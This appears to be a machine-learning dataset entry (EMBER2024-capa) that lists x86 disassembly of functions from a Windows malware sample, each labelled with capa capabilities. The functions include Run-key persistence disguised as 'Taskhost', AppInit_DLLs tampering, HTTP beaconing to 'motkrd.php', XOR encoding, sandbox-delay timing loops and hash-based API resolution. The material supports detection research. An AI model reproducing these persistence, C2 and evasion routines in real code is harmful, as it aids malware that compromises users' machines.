joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408030
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
cmp dword [0x4110b0], 0xffffffff
jne 0x408054
push 0
call fcn.00407fa6
cmp dword [0x4110b0], 0xffffffff
pop ecx
jne 0x408054
xor eax, eax
leave
ret
push ebx
push esi
push edi
push dword [ebp + 0xc]
call fcn.0040596e
push dword [ebp + 0x10]
mov esi, eax
call fcn.0040596e
mov edx, dword [ebp + 0xc]
mov ebx, eax
lea eax, [ebp - 0x68]
push eax
call fcn.00405a2e
add esp, 0xc
push 0xa
pop ecx
cmp esi, ecx
jae 0x408092
sub ecx, esi
xor eax, eax
shr ecx, 1
lea edi, [ebp + esi*2 - 0x68]
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
mov edx, dword [ebp + 0x10]
lea eax, [ebp - 0x54]
push eax
call fcn.00405a2e
pop ecx
push 0x32
lea eax, [ebx + 0xa]
pop ecx
cmp eax, ecx
jae 0x4080ba
sub ecx, eax
lea edi, [ebp + eax*2 - 0x68]
xor eax, eax
shr ecx, 1
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
xor esi, esi
xor eax, eax
xor byte [ebp + eax - 0x68], 0x78
inc eax
cmp eax, 0x64
jb 0x4080be
mov eax, dword [ebp + 8]
imul eax, eax, 0x64
push esi
push esi
push eax
push dword [0x4110b0]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
lea eax, [ebp - 4]
push eax
push 0x64
lea eax, [ebp - 0x68]
push eax
push dword [0x4110b0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4080fa
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
cmp dword [0x4110b0], 0xffffffff
push esi
mov esi, eax
jne 0x40811d
push 1
call fcn.00407fa6
cmp dword [0x4110b0], 0xffffffff
pop ecx
je 0x408189
imul esi, esi, 0x64
push 0
push 0
push esi
push dword [0x4110b0]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 4]
push eax
push 0x64
lea eax, [ebp - 0x6c]
push eax
push dword [0x4110b0]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x408189
cmp dword [ebp - 4], 0x64
jne 0x408189
xor eax, eax
xor byte [ebp + eax - 0x6c], 0x78
inc eax
cmp eax, 0x64
jb 0x408155
push dword [ebp + 8]
and word [ebp - 8], 0
lea eax, [ebp - 0x6c]
call fcn.004059b0
pop ecx
lea ecx, [ebp - 0x6c]
cmp eax, ecx
jne 0x408189
push dword [ebp + 0xc]
lea edx, [ebp - 0x58]
call fcn.00405a2e
xor eax, eax
pop ecx
inc eax
jmp 0x40818b
xor eax, eax
pop esi
leave
ret
Function at 0x408517
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
push ebx
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x464]
push eax
mov eax, 0x40f6b8
call fcn.004084eb
test al, al
pop ecx
pop ecx
je 0x40868e
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x464]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x40868e
mov edi, dword [ebp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
cmp dword [ebp + 0x20], esi
je 0x408586
push esi
push dword [ebp + 0x20]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x408685
cmp word [ebp - 0x230], 0x2e
jne 0x4085b4
cmp word [ebp - 0x22e], si
je 0x40866d
cmp word [ebp - 0x22e], 0x2e
jne 0x4085b4
cmp word [ebp - 0x22c], si
je 0x40866d
mov eax, dword [ebp - 0x25c]
and eax, 0x10
je 0x4085c5
test byte [ebp + 0x14], 2
jne 0x4085cf
cmp eax, esi
jne 0x408613
test byte [ebp + 0x14], 4
je 0x408613
cmp dword [ebp + 0x10], 0
jbe 0x408613
push dword [edi + esi*4]
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x4085f1
inc esi
cmp esi, dword [ebp + 0x10]
jb 0x4085d5
jmp 0x408613
push dword [ebp + 0x1c]
lea eax, [ebp - 0x25c]
push eax
push dword [ebp + 8]
call dword [ebp + 0x18]
add esp, 0xc
test al, al
je 0x408685
cmp dword [ebp + 0x28], 0
je 0x408613
push dword [ebp + 0x28]
call ebx
test byte [ebp - 0x25c], 0x10
je 0x40866d
test byte [ebp + 0x14], 1
je 0x40866d
push dword [ebp + 8]
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x230]
call fcn.004084eb
test al, al
pop ecx
pop ecx
je 0x40866d
cmp dword [ebp + 0x24], 0
je 0x408648
push dword [ebp + 0x24]
call ebx
push dword [ebp + 0x28]
lea eax, [ebp - 0x464]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push edi
push eax
call fcn.00408517
add esp, 0x24
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40856a
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x408693
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push 7
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
je 0x408727
lea ecx, [ebp - 0xc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x40871e
cmp dword [ebp - 8], edi
jne 0x40871e
mov eax, dword [ebp - 0xc]
cmp eax, edi
mov dword [esi + 4], eax
jne 0x4086dd
mov dword [esi], edi
mov al, 1
jmp 0x408729
push 4
push 0x3000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp eax, edi
mov dword [esi], eax
je 0x40871e
push edi
lea ecx, [ebp - 4]
push ecx
push dword [esi + 4]
push eax
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x408710
mov eax, dword [ebp - 4]
cmp eax, dword [esi + 4]
je 0x4086d9
push 0x8000
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
leave
ret

Function at 0x40875e
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
lea ecx, [ebp - 8]
push ecx
push 1
push 0
push dword [ebp + 8]
mov dword [ebp - 8], eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40879b
mov eax, dword [ebp + 0x10]
add eax, eax
push eax
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
lea esi, [ebp - 8]
call fcn.0040872c
add esp, 0x10
mov ebx, eax
jmp 0x40879e
or ebx, 0xffffffff
cmp ebx, 0xffffffff
je 0x408814
test bl, 1
jne 0x408814
cmp dword [ebp - 4], 1
je 0x4087b4
cmp dword [ebp - 4], 2
jne 0x408814
xor ecx, ecx
cmp ebx, ecx
jne 0x4087bf
mov word [edi], cx
jmp 0x408810
shr ebx, 1
dec ebx
mov eax, ebx
cmp word [edi + eax*2], cx
je 0x4087d6
inc eax
cmp dword [ebp + 0x10], eax
jbe 0x408814
mov word [edi + eax*2], cx
mov ebx, eax
cmp eax, 2
jbe 0x408810
cmp dword [ebp - 4], 2
jne 0x408810
push edi
call fcn.0040ba96
mov esi, eax
test esi, esi
pop ecx
je 0x4087fd
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x408800
or ebx, 0xffffffff
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
jmp 0x408817
or eax, 0xffffffff
pop esi
pop ebx
leave
ret
Function at 0x4088d3
Capabilities:
Delete file
Persist via appinit_dlls registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 1
xor esi, esi
push esi
mov ebx, str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push ebx
mov edi, 0x80000002
push edi
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x408919
lea eax, [ebp - 0x804]
push eax
push str.AppInit_DLLs
lea esi, [ebp - 4]
call fcn.0040707c
pop ecx
pop ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test esi, esi
jne 0x408927
xor eax, eax
jmp 0x40895c
lea eax, [ebp - 0x804]
push eax
call fcn.0040596e
cmp eax, 4
pop ecx
jbe 0x408951
push 1
push 0x40f4f8
push str.AppInit_DLLs
push ebx
push edi
call fcn.0040715c
add esp, 0x14
jmp 0x40895c
push str.C:WINDOWS_system32gbdwpbm.dll
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409f68
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.0040d080
push edi
xor edi, edi
cmp dword [ebp + 0xc], edi
je 0x409f88
push dword [ebp + 0xc]
call fcn.0040596e
pop ecx
jmp 0x409f8a
xor eax, eax
push edi
push 0x4400000
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 0x10]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
cmp eax, edi
mov dword [ebp - 4], eax
jne 0x409fae
xor eax, eax
jmp 0x40a0c0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov eax, 0x2001
push esi
push eax
push edi
mov dword [ebp - 0xc], eax
mov dword [ebp + 0xc], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp byte [esi], 0
jne 0x40a02a
xor eax, eax
jmp 0x40a0be
mov eax, dword [ebp - 8]
test eax, eax
je 0x40a048
cmp dword [ebp + 0xc], eax
mov byte [ebp + eax - 0x1010], 0
ja 0x40a00c
mov eax, dword [ebp - 0xc]
add dword [ebp + 0xc], eax
add eax, eax
push eax
push esi
push 0
mov dword [ebp - 0xc], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov esi, eax
test esi, esi
je 0x409fd3
push dword [ebp - 8]
lea eax, [ebp - 0x1010]
push eax
lea eax, [esi + edi]
push eax
call fcn.0040c0a0
mov eax, dword [ebp - 8]
sub dword [ebp + 0xc], eax
add esp, 0xc
add edi, eax
lea eax, [ebp - 8]
push eax
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, 1
je 0x409fda
lea eax, [edi + edi + 2]
push eax
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
jne 0x40a066
and dword [ebp - 4], eax
jmp 0x40a0af
and dword [ebp + 0xc], 0
test esi, esi
mov dword [ebp - 4], 1
mov byte [esi + edi], 0
mov ecx, eax
je 0x40a0a5
test edi, edi
jbe 0x40a0a5
and word [ecx], 0
test edi, edi
jbe 0x40a0a5
mov edx, dword [ebp + 0xc]
movzx dx, byte [edx + esi]
mov word [ecx], dx
mov edx, dword [ebp + 0xc]
cmp byte [edx + esi], 0
je 0x40a0a5
inc dword [ebp + 0xc]
inc ecx
inc ecx
cmp dword [ebp + 0xc], edi
jb 0x40a087
and word [eax + edi*2], 0
mov eax, dword [ebp + 0x18]
mov dword [eax], edi
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 4]
pop esi
pop ebx
pop edi
leave
ret
Function at 0x40a0c3
Capabilities:
Connect to http server
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1210
call fcn.0040d080
push ebx
push esi
lea eax, [ebp - 0x210]
push edi
add edx, 0xe
push eax
call fcn.00405a2e
lea eax, [ebp - 0x210]
push eax
call fcn.0040596e
xor ebx, ebx
push 0x4253f0
mov word [ebp + eax*2 - 0x212], bx
call fcn.0040596e
add esp, 0xc
mov dword [ebp - 8], eax
call fcn.0040b9b0
cmp dword [ebp - 8], ebx
mov esi, eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], ebx
jbe 0x40a15d
movsx ax, byte [esi]
sub ax, 2
movzx ecx, ax
mov eax, dword [ebp - 4]
push 3
xor edx, edx
pop edi
div edi
sub edx, ebx
je 0x40a149
dec edx
je 0x40a141
dec edx
jne 0x40a14f
add ecx, 0xfffe
jmp 0x40a14f
add ecx, 0xfffb
jmp 0x40a14f
add ecx, 0xffff
mov byte [esi], cl
inc esi
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jb 0x40a11a
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
lea eax, [ebp - 0x210]
push eax
push dword [0x4114e4]
call dword [sym.imp.WININET.dll_InternetConnectW]
cmp eax, ebx
jne 0x40a180
xor eax, eax
jmp 0x40a1f5
push ebx
push 0x4400100
push ebx
push ebx
push ebx
push str.motkrd.php
push 0x40fb18
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
cmp esi, ebx
je 0x40a17c
push dword [ebp - 8]
push dword [ebp - 0xc]
push ebx
push ebx
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
push dword [ebp - 0xc]
mov edi, eax
call fcn.0040b900
cmp edi, ebx
pop ecx
je 0x40a17c
lea eax, [ebp - 0x10]
push eax
push 0x1000
lea eax, [ebp - 0x1210]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, eax
cmp esi, ebx
je 0x40a1f3
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1210], bl
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x1210]
call fcn.0040b9fb
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40a1fa
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x24
push 0x410220
call fcn.0040cd28
and dword [ebp - 4], 0
call fcn.00405ca3
movzx ecx, cl
inc ecx
cdq
idiv ecx
mov esi, edx
movzx eax, byte [ebp + 8]
add esi, eax
imul esi, esi, 0x3e8
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov ebx, eax
call edi
sub eax, ebx
cmp eax, esi
jae 0x40a276
push 1
xor eax, eax
push eax
push eax
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40a257
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x40a236
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40a22e
or dword [ebp - 4], 0xffffffff
call fcn.0040cd63
ret
Function at 0x40a280
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x2c
push 0x410210
call fcn.0040cd28
xor ebx, ebx
mov dword [ebp - 4], ebx
or dword [ebp - 0x1c], 0xffffffff
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov dword [ebp - 0x20], eax
cmp edi, ebx
jl 0x40a2ff
cmp word [ebp - 0x1c], 0xffff
jne 0x40a2ff
call esi
sub eax, dword [ebp - 0x20]
cmp eax, 0x15f90
ja 0x40a31a
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push ebx
push ebx
push ebx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40a2e0
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x40a2c1
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov eax, dword [eax + 0x4293f8]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [ecx + 0x7c]
mov edi, eax
cmp edi, ebx
jl 0x40a31a
jmp 0x40a2a2
or dword [ebp - 4], 0xffffffff
xor eax, eax
inc eax
jmp 0x40a320
or dword [ebp - 4], 0xffffffff
xor eax, eax
call fcn.0040cd63
ret

Function at 0x40a425
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x4110a4], 0
push ebx
push esi
push edi
mov ebx, eax
jne 0x40a445
call fcn.0040a384
test eax, eax
mov dword [ebp - 8], eax
jne 0x40a457
mov esi, ebx
call fcn.0040a326
test eax, eax
mov dword [ebp - 8], eax
je 0x40a50c
push str.eventConn
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [ebx]
mov edx, dword [ecx]
sub esp, 0x10
mov edi, esp
mov word [ebp - 0x18], 3
mov dword [ebp - 0x10], 1
lea esi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push eax
push ecx
movsd dword es:[edi], dword [esi]
call dword [edx + 0x88]
mov eax, dword [ebx]
mov ecx, dword [eax]
lea edx, [ebp - 4]
push edx
push eax
call dword [ecx + 0x94]
xor esi, esi
cmp dword [ebp - 4], esi
je 0x40a4f3
push esi
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowW]
cmp eax, esi
je 0x40a4b7
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetParent]
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80
push eax
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0x10
push dword [0x4153e0]
mov eax, 0x1388
push dword [0x42091c]
push eax
push eax
push 1
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [ebx]
mov ecx, dword [eax]
push 0xffffffffffffffff
push eax
call dword [ecx + 0xa4]
mov ebx, dword [ebx]
mov eax, dword [ebx]
push esi
push ebx
call dword [eax + 0xf0]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a738
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 8], 0
test eax, eax
push ebx
push esi
push edi
jne 0x40a75a
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov edi, dword [eax + 0x429400]
mov dword [ebp - 4], edi
jmp 0x40a75f
mov dword [ebp - 4], eax
mov edi, eax
movzx esi, byte [ebp + 8]
imul esi, esi, 0x14
xor ebx, ebx
inc ebx
test dword [esi + 0x429404], edi
je 0x40a7c2
cmp edi, ebx
jne 0x40a7a6
cmp dword [0x4293f4], ebx
jne 0x40a7c6
mov eax, dword [esi + 0x4293f8]
test eax, eax
je 0x40a7c6
mov ecx, dword [eax]
lea edx, [ebp + 8]
push edx
push eax
call dword [ecx + 0xa0]
test eax, eax
jge 0x40a7be
and dword [esi + 0x4293f8], 0
and dword [esi + 0x429404], 0xfffffffe
cmp edi, 2
jne 0x40a7c2
xor eax, eax
cmp dword [esi + 0x4293fc], eax
jne 0x40a7be
and dword [esi + 0x429404], 0xfffffffd
jmp 0x40a7ff
mov eax, ebx
jmp 0x40a833
cmp edi, ebx
jne 0x40a7f8
lea edi, [esi + 0x4293f8]
mov eax, edi
call fcn.0040a425
cmp dword [0x4293f4], ebx
mov dword [ebp - 8], eax
jne 0x40a7f2
test eax, eax
je 0x40a7f2
mov edi, dword [edi]
mov eax, dword [edi]
push edi
call dword [eax + 4]
or dword [esi + 0x429404], ebx
jmp 0x40a830
and dword [edi], 0
mov edi, dword [ebp - 4]
cmp edi, 2
jne 0x40a830
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
test eax, eax
mov dword [esi + 0x4293fc], eax
je 0x40a830
push 4
lea ecx, [ebp + 8]
push ecx
push 0x41
push eax
mov dword [ebp + 8], ebx
call dword [sym.imp.WININET.dll_InternetSetOptionW]
or dword [esi + 0x429404], 2
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40af33
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 4]
push eax
push 1
push 0
mov ebx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push ebx
push 0x80000001
call edi
test eax, eax
jne 0x40af73
push dword [ebp + 8]
lea esi, [ebp - 4]
push str.Taskhost
call fcn.0040707c
test eax, eax
pop ecx
pop ecx
jne 0x40afa1
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 1
push 0
push ebx
push 0x80000002
call edi
test eax, eax
je 0x40af8f
xor eax, eax
jmp 0x40afa1
push dword [ebp + 8]
lea esi, [ebp - 4]
push str.Taskhost
call fcn.0040707c
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b6d6
Capabilities:
Copy file
Persist via run registry key
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1800
call fcn.0040d080
push ebx
push esi
push edi
mov ebx, str.Taskhost_JustInstEvent
push ebx
xor edi, edi
push edi
push 2
call dword [sym.imp.KERNEL32.dll_OpenEventW]
cmp eax, edi
je 0x40b70f
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 4
push edi
push 3
call fcn.0040aa55
add esp, 0xc
call fcn.0040ae10
test eax, eax
je 0x40b71d
call fcn.0040b65e
call fcn.0040ae8f
test eax, eax
mov esi, 0x400
je 0x40b790
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push edi
push 9
call fcn.0040aa55
add esp, 0xc
push esi
lea eax, [ebp - 0x1800]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x800]
push eax
call fcn.0040af33
test eax, eax
pop ecx
je 0x40b790
push edi
lea eax, [ebp - 0x800]
push eax
lea eax, [ebp - 0x1800]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40b790
lea eax, [ebp - 0x800]
push eax
call fcn.00407d52
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.0040aeec
test eax, eax
je 0x40b803
lea eax, [ebp - 0x800]
push eax
call fcn.0040af33
lea eax, [ebp - 0x800]
push eax
call fcn.00407c89
test eax, eax
pop ecx
pop ecx
je 0x40b7ee
lea eax, [ebp - 0x800]
push eax
call fcn.00407d52
test eax, eax
pop ecx
je 0x40b7e1
push ebx
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0x7530
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x40b789
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
jmp 0x40b7f9
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 1
call fcn.0040aa55
add esp, 0xc
jmp 0x40b789
push edi
call fcn.00407c89
cmp eax, edi
pop ecx
push esi
je 0x40b825
lea ecx, [ebp - 0x1000]
push ecx
push dword [eax*4 + 0x411040]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
jmp 0x40b843
lea eax, [ebp - 0x1000]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, str.__nomove
lea eax, [ebp - 0x1000]
call fcn.00405a0a
push 1
lea eax, [ebp - 0x1000]
push eax
push str.Taskhost
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call fcn.0040715c
add esp, 0x14
test eax, eax
je 0x40b889
lea eax, [ebp - 0x1000]
push eax
call fcn.00407d52
test eax, eax
pop ecx
jne 0x40b7c8
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
jmp 0x40b894
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 6
call fcn.0040aa55
add esp, 0xc
mov dword [0x411058], edi
jmp 0x40b718

Function at 0x40c836
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40c840
repz ret
jmp fcn.0040cadb
Function at 0x407712
Capabilities:
Parse pe header

Disassembly:
push 0
push ecx
call fcn.004384b5
test eax, eax
je 0x407752
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x407752
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x407752
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x407752
cmp dword [ecx + 0x74], 0xe
jbe 0x407752
cmp dword [ecx + 0xe8], 0
je 0x407752
mov al, 1
ret
xor al, al
ret

Function at 0x417250
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004170c6

Function at 0x423000
Capabilities:
Access peb ldr_data
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x433024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x4243a8
mov dword [ebp - 0x28], ebx
jmp fcn.005817b1
Function at 0x43bcb4
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
sub esp, 0x4c
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x43bd8c
test eax, eax
je 0x43bd8c
push esi
push edi
mov ecx, 0x10
mov esi, 0x456ff0
lea edi, [ebp - 0x4c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp + 0x14]
mov esi, dword [esi]
add esi, eax
mov dword [ebp - 8], esi
xor esi, esi
mov dword [ebp - 4], 0
mov ecx, eax
test edx, edx
jbe 0x43bd73
lea edi, [eax + 4]
jmp 0x43bcd7
mov ebx, dword [ebp + 8]
movzx eax, byte [esi + ebx]
inc esi
shl eax, 0x10
cmp esi, edx
jne 0x43bcec
mov dword [ebp - 4], 2
jmp 0x43bd0d
movzx ebx, byte [esi + ebx]
shl ebx, 8
inc esi
or eax, ebx
cmp esi, edx
jne 0x43bd03
mov dword [ebp - 4], 1
jmp 0x43bd0d
mov edx, dword [ebp + 8]
movzx edx, byte [esi + edx]
or eax, edx
inc esi
mov edx, eax
and edx, 0x3f
cmp edi, dword [ebp - 8]
ja 0x43bd83
mov ebx, eax
shr ebx, 0x12
and ebx, 0x3f
movzx ebx, byte [ebp + ebx - 0x4c]
mov byte [ecx], bl
mov ebx, eax
shr ebx, 0xc
and ebx, 0x3f
movzx ebx, byte [ebp + ebx - 0x4c]
inc ecx
inc edi
mov byte [ecx], bl
mov ebx, dword [ebp - 4]
inc ecx
inc edi
cmp ebx, 1
jbe 0x43bd46
mov byte [ecx], 0x3d
jmp 0x43bd52
shr eax, 6
and eax, 0x3f
mov al, byte [ebp + eax - 0x4c]
mov byte [ecx], al
inc ecx
inc edi
test ebx, ebx
jbe 0x43bd5d
mov byte [ecx], 0x3d
jmp 0x43bd63
mov dl, byte [ebp + edx - 0x4c]
mov byte [ecx], dl
mov edx, dword [ebp + 0xc]
inc ecx
inc edi
cmp esi, edx
jb 0x43bcd4
mov eax, dword [ebp + 0x10]
sub ecx, eax
mov eax, dword [ebp + 0x14]
pop edi
pop esi
mov dword [eax], ecx
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret